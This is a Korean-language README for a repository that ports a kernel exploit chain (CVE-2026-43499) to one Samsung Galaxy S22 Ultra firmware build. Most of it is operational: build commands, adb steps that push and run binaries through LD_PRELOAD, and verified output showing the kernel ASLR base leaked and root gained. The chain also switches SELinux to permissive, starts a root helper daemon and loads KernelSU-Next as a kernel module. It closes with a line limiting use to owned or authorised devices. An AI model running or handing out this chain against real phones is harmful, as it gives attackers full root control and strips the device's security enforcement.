
CVE-2026-43499 Samsung Galaxy S22 Ultra(Android 5.10 커널)용 전체 익스플로잇 체인
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
이 저장소에는 Samsung Galaxy S22 Ultra(SM-S908W)용 CVE-2026-43499 익스플로잇의 기기별 포트가 포함되어 있습니다.
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
이 저장소의 오프셋과 구조체 레이아웃은 위 펌웨어에 특화되어 있습니다. 다른 모델과 펌웨어 빌드는 이 타깃 프로필에서 지원되지 않습니다.
이 포트는 다음에 게시된 익스플로잇 구현을 기반으로 합니다:
b850d3bddc74c3328d5fbcc0568d21962b55d949특별히 감사드립니다:
업스트림 Apache License 2.0은 LICENSE에 유지됩니다.
b0q / S908WVLS8FYG7 타깃 오프셋(src/targets/S908WVLS8FYG7/target.h)과 커널 구조체 레이아웃을 추가했습니다.exp32 경로로 대체했습니다: 포함된 32비트 자식 단계(src/exp32/)에서 futex choreography, 32비트 스택 스탬프, sched_setattr을 실행합니다.system_unbound_wq 사용자 모드 헬퍼 루트 경로를 추가하고 런타임 SELinux 강제 대상을 selinux_state.enforcing으로 업데이트했습니다./data/local/tmp/cve-2026-43499-root에 소켓 기반 루트 명령 헬퍼를 추가했습니다.cve43499-hold 프로세스에 보유하여 댕글링 커널 참조가 무관한 slab 객체로 재활용되지 않도록 합니다.ANDROID_NDK_HOME을 Android NDK r27+ 또는 호환 가능한 툴체인으로 설정한 후 다음을 실행하세요:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Buildroot 파일시스템으로 Android 커널을 실행하는 QEMU 환경용으로 빌드하려면:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
출력물:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
루트 데몬을 시작하려면 익스플로잇 단계를 실행하세요:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
성공하면 기기의 어디에서든 대화형 루트 셸을 띄울 수 있습니다:
adb shell "/data/local/tmp/cve-2026-43499-root"
또는 루트 명령을 직접 실행하세요:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
기본 실행은 최대 16회의 독립적인 시도를 수행합니다. 실패한 각 자식은 다음 시도 전에 종료되므로 파일 디스크립터와 힙 셰이핑 할당이 하나의 오래 지속되는 익스플로잇 프로세스 내부에 축적되지 않고 해제됩니다. 기본 베이스 지연은 20000 마이크로초이며, 슈퍼바이저는 다음 시퀀스를 두 번 반복합니다:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
타이밍 데이터를 수집할 때 시도 횟수 또는 베이스 지연을 재정의하세요:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
S908WVLS8FYG7에서 검증된 결과:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
대화형 루트 셸 세션:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
초기 단계는 레이스 기반입니다. root=0으로 종료된 자식은 자동으로 재시도됩니다. 성공적으로 실행되면 ashmem_misc.fops를 복원하고 SELinux를 permissive로 전환한 후 다음 재부팅까지 루트 헬퍼 데몬을 시작합니다.
위 익스플로잇은 현재 부팅에서만 루트를 유지합니다. 나머지 세션 동안 Manager 앱과 su 스타일 제어 권한을 얻으려면 루트 헬퍼를 통해 KernelSU-Next를 지연 로드 커널 모듈로 로드하세요.
v3.3.0-android12-5.10에서 두 릴리스 자산을 모두 다운로드하세요:
KernelSU_Next_v3.3.0-release.apk — Manager 앱kernelsu-android12-5.10.ko — LKM 커널 모듈Manager APK를 설치하세요:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot을 노출해야 합니다.이것은 지연 로드된 LKM(패치된 부트 이미지가 아님)이므로 재부팅 후 유지되지 않습니다 — 기기가 재시작될 때마다 익스플로잇을 다시 실행하고 모듈을 다시 insmod해야 합니다.
[!WARNING] 안정성 및 커널 패닉 공지: 레이스 단계는 타이밍에 민감하며 현재 불안정합니다—대부분의 실행에서 실패하거나 커널 패닉을 유발할 수 있습니다. 깨끗한 부팅 상태는 더 높은 성공률을 제공하므로 인내심을 갖고 기다리세요. 안정성을 개선하기 위한 향후 최적화가 릴리스될 수 있습니다.
[!TIP] 안정성 및 성공률 권장 사항:
- 기기 재부팅: 가장 높은 성공률을 위해 익스플로잇 실행 전에 기기를 재부팅하여 깨끗한 slab/힙 상태를 보장하세요.
- 백그라운드 앱 종료: 모든 백그라운드 애플리케이션이 종료되었는지 확인하세요.
- 화면 잠금 해제 및 유휴 상태 유지: 익스플로잇이 실행되는 동안 기기의 잠금을 해제된 상태로 유지하고 전화기를 만지거나 사용하지 마세요. 활성 사용자 입력/백그라운드 작업은 타이밍을 방해하고 잠재적으로 커널 패닉을 유발할 수 있습니다.
소유한 기기 또는 테스트가 명시적으로 승인된 기기에서만 사용하세요.